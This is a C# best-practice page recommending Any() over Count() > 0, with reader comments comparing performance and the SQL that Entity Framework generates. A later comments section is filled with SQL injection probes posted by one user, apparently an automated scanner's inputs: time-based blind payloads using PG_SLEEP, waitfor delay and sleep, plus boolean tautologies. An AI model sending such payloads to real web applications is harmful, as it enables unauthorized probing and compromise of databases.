BP6: Any() instead of Count() > 0

When checking if an IEnumerable is empty always use enumerable.Any() instead of enumerable.Count() > 0.

How to fix things

Search for the occurence of .Count() > 0 in your code base. If it can be changed to .Any(), replace the original code by the new version.

Comments

Anonymous
Well, it depends. The best practice is more focused on a readability aspect. In LINQ implementation of Any(), the IEnumerable is enumerated in a foreach loop and if the first item matches the predicate, true is returned. Without a predicate, true is returned once the first item is reached. So from the memory and performance standpoint, there is no big difference when compared to Count() > 0 and if any, I would call it a microoptimization. Where things get more interesting is when you use Entity Framework. See the following code: // This T-SQL is generated for table.Count() SELECT COUNT(*) AS [value] FROM [table] AS [t0] vs // This T-SQL is generated for table.Any() SELECT (CASE WHEN EXISTS( SELECT NULL AS [EMPTY] FROM [table] AS [t0] ) THEN 1 ELSE 0 END) AS [value] For the first case, the database engine needs to scan through whole table or index to calculate the count. For the second case, the processing ends after finding the first row.
Anonymous
Anonymous
It depends on the underlying instance of the enumerable. Each call to Any() will allocate memory, whereas Count() will not, is just a simple member access. Use benchmark.net

Download Better Coder application to your phone and get unlimited access to the collection of enterprise best practices.

Get it on Google Play

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e